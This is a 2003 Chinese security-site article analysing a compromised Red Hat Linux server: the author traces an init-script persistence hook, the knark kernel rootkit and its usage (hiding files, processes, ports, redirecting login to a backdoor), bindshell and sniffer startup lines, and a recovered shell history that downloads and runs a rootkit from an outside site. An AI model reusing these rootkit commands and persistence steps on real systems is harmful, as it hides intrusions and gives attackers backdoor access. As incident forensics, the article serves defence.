登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网..
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计..
  如何利用终端服务入侵远程计..
  “流光异彩”话小榕
  一次入侵过程
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客教学
入侵分析
发表日期:2003-08-13作者:quack[] 出处:  

一、意外

时间:2001-3-11下午

地点:某台RedHat Linux机器:

#uname -a

Linux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown

俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状:

#ls -la

……

-rwxr-xr-x  1 root   root     2775 Mar 26 1999 netfs

-rwxr-xr-x  1 root   root     5537 Mar 3 21:23 network

-rwxr-xr-x  1 root   root     2408 Apr 16 1999 nfs

……   

二、初步检查

明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先:

#stat network

 File: "network"

 Size: 5537     Filetype: Regular File

 Mode: (0755/-rwxr-xr-x)     Uid: (  0/  root) Gid: (  0/  root)

Device: 3,1  Inode: 269454  Links: 1

Access: Sun Mar 11 10:59:59 2001(00000.05:53:41)

Modify: Sun Mar 4 05:23:41 2001(00007.11:29:59)

Change: Sun Mar 4 05:23:41 2001(00007.11:29:59)

最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧:

#cat network

……

/usr/lib/libdd.so.1

就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先

#file /usr/lib/libdd.so.1

/usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped

哦,是个二进制的可执行文件,执行下strings看是否眼熟 :)

#strings /usr/lib/libdd.so.1

/lib/ld-linux.so.2

__gmon_start__

libc.so.6

system

__deregister_frame_info

_IO_stdin_used

__libc_start_main

__register_frame_info

GLIBC_2.0

PTRh

/boot/.pty0/go.sh  <--------这条信息看上去比较有趣

哦,这就简单了嘛,俺看看这里面的路径:

#cd /boot/.pty0

#cat go.sh

#!/bin/bash

f=`ls -al /boot | grep .pty0`

if [ -n "$f" ]; then

cd /boot/.pty0

./mcd -q

cd mech1

./mech -f conf 1>/dev/null 2>/dev/null

cd ..

cd mech2

./mech -f conf 1>/dev/null 2>/dev/null

cd ..

cd mech3

./mech -f conf 1>/dev/null 2>/dev/null

cd ..

/sbin/insmod paraport.o 1>/dev/null 2>/dev/null

/sbin/insmod iBCS.o 1>/dev/null 2>/dev/null

./ascunde.sh

fi

有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么:

#cat ascunde.sh

#!/bin/bash

for proces in `/bin/cat /boot/.pty0/hdm`; do

P=`/sbin/pidof $proces`

if [ -n "$P" ]; then

killall -31 $proces 1>/dev/hdm 2>/dev/hdm

fi

done

for port in `/bin/cat /boot/.pty0/hdm1`; do

./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm

done

for director in `/bin/cat /boot/.pty0/hdm2`; do

./hidef $director 1>/dev/hdm 2>/dev/hdm

done

看到这里,事情开始有趣了,这似乎不是一个三流的script kiddle干的活嘛,打个包拖回来先,于是俺

#cd /boot

#ls -la

total 2265

drwxr-xr-x  3 root   root     1024 Mar 11 03:01 .

drwxr-xr-x 21 root   root     1024 Mar 2 03:37 ..

lrwxrwxrwx  1 root   root      19 Sep 26 1999 System.map -> System.map-2.2.5-15

-rw-r--r--  1 root   root    186704 Apr 20 1999 System.map-2.2.5-15

-rw-r--r--  1 root   root     512 Sep 26 1999 boot.0300

-rw-r--r--  1 root   root     4544 Apr 13 1999 boot.b

-rw-r--r--  1 root   root     612 Apr 13 1999 chain.b

-rw-------  1 root   root     9728 Sep 26 1999 map

lrwxrwxrwx  1 root   root      20 Sep 26 1999 module-info -> module-info-2.2.5-15

-rw-r--r--  1 root   root    11773 Apr 20 1999 module-info-2.2.5-15

-rw-r--r--  1 root   root     620 Apr 13 1999 os2_d.b

-rwxr-xr-x  1 root   root   1469282 Apr 20 1999 vmlinux-2.2.5-15

lrwxrwxrwx  1 root   root      16 Sep 26 1999 vmlinuz -> vmlinuz-2.2.5-15

-rw-r--r--  1 root   root    617288 Apr 20 1999 vmlinuz-2.2.5-15

咦,事情更有趣了……居然没有看到.pty0的目录

#cd .pty0

#ls -laF

total 1228

drwxr-xr-x  3 root   root     1024 Mar 11 03:01 ../

-rwxr-xr-x  1 root   root     345 Mar 3 21:23 ascunde.sh*

-rwxr-xr-x  1 root   root    12760 Mar 3 21:23 dec2hex*

-rwxr-xr-x  1 root   root    13414 Mar 3 21:23 ered*

-rwxr-xr-x  1 root   root     358 Mar 7 19:03 go.sh*

-rwxr-xr-x  1 root   root     3872 Mar 3 21:23 hidef*

-rw-r--r--  1 root   root     956 Mar 3 21:23 iBCS.o

-rw-r--r--  1 root   root    524107 Mar 7 18:40 m.tgz

-rwxr-xr-x  1 root   root    656111 Mar 3 21:23 mcd*

drwxr-xr-x  4 root   root     1024 Mar 7 19:00 mech1/

drwxr-xr-x  4 root   root     1024 Mar 9 19:50 mech2/

drwxr-xr-x  4 root   root     1024 Mar 9 19:20 mech3/

-rwxr-xr-x  1 root   root    12890 Mar 3 21:23 nethide*

-rw-r--r--  1 root   root    10948 Mar 3 21:23 paraport.o

-rw-r--r--  1 root   root     522 Mar 3 21:23 ssh_host_key

-rw-------  1 root   root     512 Mar 11 04:16 ssh_random_seed

-rw-r--r--  1 root   root     677 Mar 3 21:23 sshd_config

看来是加载了某个lkm了,比较讨厌。

#/sbin/lsmod

Module         Size Used by

nfsd         150936  8 (autoclean)

lockd         30856  1 (autoclean) [nfsd]

sunrpc         52356  1 (autoclean) [nfsd lockd]

3c59x         18920  1 (autoclean)

这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务

#/usr/sbin/rpcinfo -p localhost

  program vers proto  port

  100000  2  tcp  111 rpcbind

  100024  1  tcp  664 status

  100011  1  udp  673 rquotad

  100005  3  tcp  695 mountd

  100003  2  udp  2049 nfs

  100021  3  tcp  1024 nlockmgr

原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。

再来看看网卡吧,3c59x是网卡的驱动模块。

#/sbin/ifconfig -a

/sbin/ifconfig -a

lo    Link encap:Local Loopback

     inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0

     UP LOOPBACK RUNNING MTU:3924 Metric:1

     RX packets:380640 errors:3374 dropped:0 overruns:0

     TX packets:0 errors:0 dropped:0 overruns:380640

eth0   Link encap:10Mbps Ethernet HWaddr 00:10:5A:63:5B:05

     inet addr:*.*.*.* Bcast:*.*.*.255 Mask:255.255.255.0

     UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

     RX packets:71144611 errors:820101 dropped:0 overruns:0

     TX packets:0 errors:0 dropped:0 overruns:436037129

     Interrupt:10 Base address:0xe400

#dmesg|grep eth0

eth0: 3Com 3c905B Cyclone 100baseTx at 0xe400, 00:10:5a:63:5b:05, IRQ 10

eth0: Setting promiscuous mode.

device eth0 entered promiscuous mode

看来这些模块都是正常的,但比较狠的就是——device eth0 entered promiscuous mode——看来这入侵者架了sniffer开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先……

三、模块介绍

nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knark hacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对Linux Kernel 2.2的,行……咱们先看看这是什么样的内核模块:

除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。

hidef  用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入

    ./hidef /boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能

  找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝 :)

ered  用来重定向执行某个程序,比如说,你把一个bindshell的程序拷到/boot/.pty0/bindshell,

  然后可以用./ered /bin/ls /boot/.pty0/bindshell这样的命令,将ls重定向到bindshell,

  当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以

  键入./ered -c

nethide  用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并

  输出的,比如你要隐藏端口43981的连接信息,你必须键入:

  ./nethide ":ABCD "

  你就可以象grep -v一样,过滤掉你不想让人看到的网络连接信息了,比如你用:

  netstat -at

  可能会有一行连接(ssh)的记录是这样的:

  Proto Recv-Q Send-Q Local Address   Foreign Address State

  tcp    0   0 localhost:ssh   localhost:1023  ESTABLISHED

  我们来看看/proc/net/tcp里面的情况如何:

  cat /proc/net/tcp

  其中相应的行应该是这样的:

   local_address rem_address  blablabla...

  0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000

  如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用

  十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是:

  0100007F:0016了,于是我们键入:

  ./nethide "0100007F:0016" 便可以将其隐藏得很漂亮了。

rootme  利用这个家伙,你可以不需要suid位,就能拿到root的权限喽:

  ./rootme /bin/sh

  你也可以用这种方式来运行:

  ./rootme /bin/ls -l /root

  这里必须注意,要输入完整的路径名。

taskhack 可以改变运行着的进程的uid,euid,gid,egid等。

  ./taskhack -alluid=0 pid

  这可以把该进程所有的*uid(uid, euid, suid, fsuid)都改成0

  你用:

  ps aux | grep bash

  creed    91 0.0 1.3 1424  824  1 S  15:31  0:00 -bash

  

rexec  远程执行命令,比如:

  ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER

knark还有一些其它的特性:

将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top

都无法看到,比如:

#kill -31 pid

如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的shell

隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进

程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙;)

闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具

能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS

的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。

这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从

模块列表里移除——也就是/proc/module里面看不到它,示例如下:

#/sbin/insmod knark.o

#/sbin/lsmod | grep knark

knark          6640  0 (unused)

#/sbin/insmod modhide.o

#lsmod | grep knark

啥也没有了 ;)

最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。

四、分析

我们可以试着看看:

#cd /proc/knark/

#cat files

HIDDEN FILES

/boot/.pty0   

/usr/lib/logem 

这两个目录就是被藏起来的了;)

#cat nethides

HIDDEN STRINGS (without the quotes)

"CB0C"

"17"

":0947"

这里是三个netstat的隐藏。

#cat pids

EUID PID    COMMAND

  0 112    mcd

  0 338    dittrich

两个后门,一个bindshell,一个是伪装成ssh的,进程都被隐藏了。

#cat redirects

REDIRECT FROM         REDIRECT TO

/bin/login          /usr/lib/logem/login2

可执行程序重定向,这里是把login给重定向了。

现在很清楚了,黑客进来之后,首先是上传上/usr/lib/logem下面的文件,包括几个脚本及刚才分析的内核模块,以及几个后门,如login后门,ssh后门,然后修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以便系统启动时自加载,(/etc/inetd.conf里也被加上了一句echo  stream tcp nowait root /usr/sbin/echod /usr/sbin/echod,这样入侵者可以远程启动后门及内核模块,这里的echod与libdd.so.1是同样文件),这个程序指向/boot/.pty0/go.sh:

这里面启动了几个irc的cliend端,连到国外的一些server上挂着——我不太理解为啥老外都这样?我连上去whois了一下,结果如下:

Coitze is ~statd@the.ip.of.the_hacked_machine * Ask your girlfriend :>

Coitze on @#radio21pitesti @#mafiotzii

Coitze using McLean.VA.US.Undernet.Org CAIS Internet, US

Coitze End of /WHOIS list.

而go.sh又指向ascunde.sh,这里是这样的:

for proces in `/bin/cat /boot/.pty0/hdm`; do <-------hdm文件里有ncd、sh、mcd三行,也就是有这些东西是入侵者想隐藏的

P=`/sbin/pidof $proces`

if [ -n "$P" ]; then

killall -31 $proces 1>/dev/hdm 2>/dev/hdm <-------发出kill -31的信号,调用加载的内核模块隐藏进程

fi

done

for port in `/bin/cat /boot/.pty0/hdm1`; do <--------hdm1里是51980及7,入侵者想隐藏的端口

./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm <------dec2hex是一个小程序,把十进制数据转换成16进制

done

for director in `/bin/cat /boot/.pty0/hdm2`; do <--------hdm2里是/boot/.pty0及/usr/lib/logem

./hidef $director 1>/dev/hdm 2>/dev/hdm <------调用hidef将hdm2里的文件隐藏

done

基本上就是这样了,我们看看这个洋鬼子在/usr/lib/logem/下面放了些什么东西吧 :)

#ls -la

drwxr-xr-x  4 quack wheel  512 Mar 12 15:05 ./

drwxr-xr-x 10 quack wheel  1536 Mar 12 08:44 ../

-rw-r--r--  1 quack wheel  202 Feb 28 00:46 .bashrc

-rw-r--r--  1 quack wheel  295 Feb 28 00:46 autoexec

-rwxr-xr-x  1 quack wheel 14460 Feb 28 00:46 dittrich*

drwxr-xr-x  2 quack wheel  512 Feb 28 00:46 knrk/

-rwsr-xr-x  1 quack wheel 20164 Feb 28 00:46 login2*

-rwxr-xr-x  1 quack wheel 25284 Feb 28 00:46 portmap*

drwxr-xr-x  2 quack wheel  512 Feb 28 00:46 stuff/

knrk就是咱们刚才分析的内核模块编译过的版本。

#cat autoexec

#!/bin/sh

/sbin/insmod -f /usr/lib/logem/knrk/knrk.o

/sbin/insmod -f /usr/lib/logem/knrk/knrkmodhide.o

/usr/lib/logem/knrk/knrkhidef /usr/lib/logem

/usr/lib/logem/knrk/knrkered /bin/login /usr/lib/logem/login2

/usr/lib/logem/knrk/knrknethide ":0947"

/usr/lib/logem dittrich

killall -31 dittrich

这里dittrich及portmap都是弹出shell的后门,而login2是一个假的login,只是这里这个家伙似乎对ered的理解有些问题,把/bin/login直接重定向到/usr/lib/logem/login2,会导致所有人登陆不上,因为运行login的时候,直接跑去run login2程序了——另外,这台机器没开telnet,root都从控制台登陆的,也不知这个入侵者是什么意思,或许是写了脚本自己入侵的吧。

#cat stuff/conn

# Root Connector (or something)

if ! test $5; then

 echo "Syntax: conn <rewtline>"

 exit 1

fi

REWTIP=$3

REWTPASS=$5

echo "Connecting..."

export DISPLAY=$REWTPASS

telnet $REWTIP

export DISPLAY=0

echo "Disconnected"

这是一个直接登陆到被放置login后门机器的脚本。

五、抓鬼

分析清楚了,还不够,咱得试着逮住这家伙才好呀,反正他的后门已经都知道了,咱们直接运行iplog之类的程序,就可以搞定它了,到http://download.sourceforge.net/ojnk/iplog-2.2.3.tar.gz下载iplog的最新版本,需要有libpcap的支持,编译后,借用这家伙的模块,直接kill -31 iplog's_pid,就把iplog进程隐藏了,等他上来吧 ;) 只要逮着连端口7或者51980的,估计都是bad guys :)

六、后话

其实这台机器,俺仔细地看了看,除了上面分析的家伙,至少还有两个人登陆过,而且取得了root权限并安装后门、sniffer等等,从下面可以看出来:

1、/etc/rc.d/rc.local

#!/bin/sh

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

/bin/bd           <--------------这里是一个bindshell的后门

if [ -f /etc/redhat-release ]; then

  R=$(cat /etc/redhat-release)

  arch=$(uname -m)

  a="a"

  case "_$arch" in

      _a*) a="an";;

      _i*) a="an";;

  esac

  /usr/bin/bsgd      <--------------另一个bindshell后门

  # This will overwrite /etc/issue at every boot. So, make any changes you

  # want to make to /etc/issue here or you will lose them when you reboot.

  echo "" > /etc/issue

  echo "$R" >> /etc/issue

  echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue

  /usr/bin/hyme      <---------------一个很常见的linux下的sniffer,该入侵者修改过程序

  cp -f /etc/issue /etc/issue.net

  echo >> /etc/issue

fi

2、/.bash_history

#cat /.bash_history

mkdir /usr/src/.puta

cd /usr/src/.puta

lynx -dump http://www.angelfire.com/linux/tools/bkS.tgz > bkS.tgz

tar -zxvf bkS.tgz

cd bk ;./b0skit

cat /etc/inetd.conf | grep -v 4512 > /tmp/back

mv -f /tmp/back /etc/inetd.conf

killall -1 inetd

其实作为系统管理员,只要付出1%的努力,就可以让99%的入侵者束手无策,但是满世界却偏偏总有着无数的机器,愿意Free地让入侵者们使用——或者删除……

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 入侵分析
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00626